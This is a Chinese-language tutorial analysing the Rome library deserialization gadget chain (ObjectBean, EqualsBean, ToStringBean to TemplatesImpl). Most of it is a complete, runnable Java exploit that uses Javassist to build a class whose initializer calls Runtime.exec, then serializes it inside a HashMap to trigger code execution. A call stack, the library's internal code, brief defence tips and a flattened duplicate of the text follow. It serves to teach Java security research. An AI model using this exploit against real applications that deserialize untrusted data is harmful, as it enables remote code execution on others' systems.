Java安全之Rome链分析与利用
字数 1453 2025-08-23 18:31:24

Java安全之Rome链分析与利用教学文档

一、Rome框架简介

Rome是一个用于处理RSS和Atom订阅的Java框架,具有以下特点:

  • 开源项目,基于Apache 2.0许可证
  • 提供解析器和生成器,支持多种订阅格式
  • 包含格式转换功能
  • 可返回特定格式的Java对象或通用的SyndFeed类

官方文档:https://rometools.github.io/rome/

二、漏洞利用关键类

1. 可利用类

  • ObjectBean
  • EqualsBean
  • ToStringBean

2. 关键方法分析

ToStringBean.toString()

  • 功能:接收一个类,获取该类的set/get方法,并使用invoke调用
  • 利用点:可通过反射调用任意方法

EqualsBean.beanHashCode()

  • 功能:同样具有通过反射调用方法的能力

三、环境准备

1. 依赖配置

<dependency>
    <groupId>rome</groupId>
    <artifactId>rome</artifactId>
    <version>1.0</version>
</dependency>

2. 利用链分析

完整利用链:

TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString()
EqualsBean.beanHashCode()
EqualsBean.hashCode()
ObjectBean.hashCode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)

四、漏洞利用实现

1. EXP代码分析

package RomeSec;

import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class ObjectBeanExp {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        
        // 创建恶意类
        ClassPool classPool = ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload = classPool.makeClass("dddd");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] bytes = payload.toBytecode();
        
        // 创建TemplatesImpl对象
        Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        setFiled(templateImpl, "_bytecodes", new byte[][]{bytes});
        setFiled(templateImpl, "_name", "test");
        setFiled(templateImpl, "_tfactory", null);
        
        // 创建ToStringBean对象
        ToStringBean toStringBean = new ToStringBean(Templates.class, templateImpl);
        
        // 创建ObjectBean对象
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
        setFiled(objectBean, "_toStringBean", null);
        setFiled(objectBean, "_cloneableBean", null);
        
        // 创建hashMap
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(objectBean, "aaaa");
        
        // 序列化
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ObjectBean.bin"));
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();
        
        // 反序列化
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ObjectBean.bin"));
        objectInputStream.readObject();
        objectInputStream.close();
    }
    
    public static void setFiled(Object o, String fieldname, Object value) throws Exception {
        Field field = o.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(o, value);
    }
}

2. 关键步骤解析

  1. 恶意类构造

    • 使用Javassist创建继承自AbstractTranslet的类
    • 在类初始化器中插入执行命令的代码
  2. TemplatesImpl对象配置

    • 设置_bytecodes为恶意类字节码
    • 设置_name为任意字符串
    • 设置_tfactory为null
  3. ToStringBean构造

    • 将TemplatesImpl对象包装在ToStringBean中
    • 指定Templates.class作为目标类
  4. ObjectBean构造

    • 将ToStringBean对象包装在ObjectBean中
    • 清空内部bean引用
  5. 触发点

    • 将ObjectBean对象放入HashMap
    • 通过HashMap的反序列化触发整个调用链

3. 函数调用栈

exec:347, Runtime (java.lang)
<clinit>:-1, dddd
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:110, ObjectBean (com.sun.syndication.feed.impl)
hash:338, HashMap (java.util)
readObject:1397, HashMap (java.util)

五、详细技术分析

1. 触发点分析

HashMap.readObject()开始:

  • 反序列化时,HashMap会计算每个键的hashCode
  • 当key为ObjectBean对象时,会调用其hashCode方法

2. ObjectBean.hashCode()调用链

  1. ObjectBean.hashCode()

    • 调用EqualsBean的hashCode方法
  2. EqualsBean.hashCode()

    • 调用beanHashCode方法
  3. EqualsBean.beanHashCode()

    • 调用ToStringBean的toString方法
  4. ToStringBean.toString()

    • 最终调用TemplatesImpl的getOutputProperties方法

3. ToStringBean.toString()关键逻辑

private String toString(String prefix) {
    StringBuffer sb = new StringBuffer(128);
    try {
        // 获取属性描述符数组
        PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
        if (pds != null) {
            // 遍历属性描述符
            for (int i = 0; i < pds.length; ++i) {
                String pName = pds[i].getName();
                Method pReadMethod = pds[i].getReadMethod();
                if (pReadMethod != null && 
                    pReadMethod.getDeclaringClass() != Object.class && 
                    pReadMethod.getParameterTypes().length == 0) {
                    // 反射调用getter方法
                    Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                    this.printProperty(sb, prefix + "." + pName, value);
                }
            }
        }
    } catch (Exception var8) {
        sb.append("\n\nEXCEPTION: Could not complete " + 
                 this._obj.getClass() + ".toString(): " + 
                 var8.getMessage() + "\n");
    }
    return sb.toString();
}

4. BeanIntrospector.getPropertyDescriptors()

public static synchronized PropertyDescriptor[] getPropertyDescriptors(Class klass) 
    throws IntrospectionException {
    PropertyDescriptor[] descriptors = (PropertyDescriptor[]) _introspected.get(klass);
    if (descriptors == null) {
        descriptors = getPDs(klass);
        _introspected.put(klass, descriptors);
    }
    return descriptors;
}

5. getPDs方法解析

private static PropertyDescriptor[] getPDs(Class klass) throws IntrospectionException {
    Method[] methods = klass.getMethods();
    Map getters = getPDs(methods, false);  // 获取getter方法
    Map setters = getPDs(methods, true);   // 获取setter方法
    List pds = merge(getters, setters);    // 合并结果
    PropertyDescriptor[] array = new PropertyDescriptor[pds.size()];
    pds.toArray(array);
    return array;
}

6. 属性描述符获取逻辑

private static Map getPDs(Method[] methods, boolean setters) throws IntrospectionException {
    Map pds = new HashMap();
    for (int i = 0; i < methods.length; ++i) {
        String pName = null;
        PropertyDescriptor pDescriptor = null;
        
        if ((methods[i].getModifiers() & 1) != 0) {  // 检查是否为public方法
            if (setters) {
                // 处理setter方法
                if (methods[i].getName().startsWith("set") && 
                    methods[i].getReturnType() == Void.TYPE && 
                    methods[i].getParameterTypes().length == 1) {
                    pName = Introspector.decapitalize(methods[i].getName().substring(3));
                    pDescriptor = new PropertyDescriptor(pName, null, methods[i]);
                }
            } else {
                // 处理getter方法
                if (methods[i].getName().startsWith("get") && 
                    methods[i].getReturnType() != Void.TYPE && 
                    methods[i].getParameterTypes().length == 0) {
                    pName = Introspector.decapitalize(methods[i].getName().substring(3));
                    pDescriptor = new PropertyDescriptor(pName, methods[i], null);
                } 
                // 处理is方法
                else if (methods[i].getName().startsWith("is") && 
                         methods[i].getReturnType() == Boolean.TYPE && 
                         methods[i].getParameterTypes().length == 0) {
                    pName = Introspector.decapitalize(methods[i].getName().substring(2));
                    pDescriptor = new PropertyDescriptor(pName, methods[i], null);
                }
            }
        }
        if (pName != null) {
            pds.put(pName, pDescriptor);
        }
    }
    return pds;
}

六、防御建议

  1. 升级Rome框架到最新安全版本
  2. 对反序列化操作进行严格限制
  3. 使用安全管理器限制危险操作
  4. 对输入数据进行严格验证

七、总结

Rome链利用的核心在于:

  1. 通过ObjectBean/EqualsBean/ToStringBean的链式调用
  2. 利用JavaBean的内省机制反射调用getter方法
  3. 最终触发TemplatesImpl的getOutputProperties方法执行恶意代码

理解这条利用链需要对Java反序列化、反射机制和内省机制有深入理解,是学习Java安全的重要案例。

Java安全之Rome链分析与利用教学文档 一、Rome框架简介 Rome是一个用于处理RSS和Atom订阅的Java框架,具有以下特点: 开源项目,基于Apache 2.0许可证 提供解析器和生成器,支持多种订阅格式 包含格式转换功能 可返回特定格式的Java对象或通用的SyndFeed类 官方文档:https://rometools.github.io/rome/ 二、漏洞利用关键类 1. 可利用类 ObjectBean EqualsBean ToStringBean 2. 关键方法分析 ToStringBean.toString() 功能:接收一个类,获取该类的set/get方法,并使用invoke调用 利用点:可通过反射调用任意方法 EqualsBean.beanHashCode() 功能:同样具有通过反射调用方法的能力 三、环境准备 1. 依赖配置 2. 利用链分析 完整利用链: 四、漏洞利用实现 1. EXP代码分析 2. 关键步骤解析 恶意类构造 : 使用Javassist创建继承自AbstractTranslet的类 在类初始化器中插入执行命令的代码 TemplatesImpl对象配置 : 设置 _bytecodes 为恶意类字节码 设置 _name 为任意字符串 设置 _tfactory 为null ToStringBean构造 : 将TemplatesImpl对象包装在ToStringBean中 指定Templates.class作为目标类 ObjectBean构造 : 将ToStringBean对象包装在ObjectBean中 清空内部bean引用 触发点 : 将ObjectBean对象放入HashMap 通过HashMap的反序列化触发整个调用链 3. 函数调用栈 五、详细技术分析 1. 触发点分析 从 HashMap.readObject() 开始: 反序列化时,HashMap会计算每个键的hashCode 当key为ObjectBean对象时,会调用其hashCode方法 2. ObjectBean.hashCode()调用链 ObjectBean.hashCode() : 调用EqualsBean的hashCode方法 EqualsBean.hashCode() : 调用beanHashCode方法 EqualsBean.beanHashCode() : 调用ToStringBean的toString方法 ToStringBean.toString() : 最终调用TemplatesImpl的getOutputProperties方法 3. ToStringBean.toString()关键逻辑 4. BeanIntrospector.getPropertyDescriptors() 5. getPDs方法解析 6. 属性描述符获取逻辑 六、防御建议 升级Rome框架到最新安全版本 对反序列化操作进行严格限制 使用安全管理器限制危险操作 对输入数据进行严格验证 七、总结 Rome链利用的核心在于: 通过ObjectBean/EqualsBean/ToStringBean的链式调用 利用JavaBean的内省机制反射调用getter方法 最终触发TemplatesImpl的getOutputProperties方法执行恶意代码 理解这条利用链需要对Java反序列化、反射机制和内省机制有深入理解,是学习Java安全的重要案例。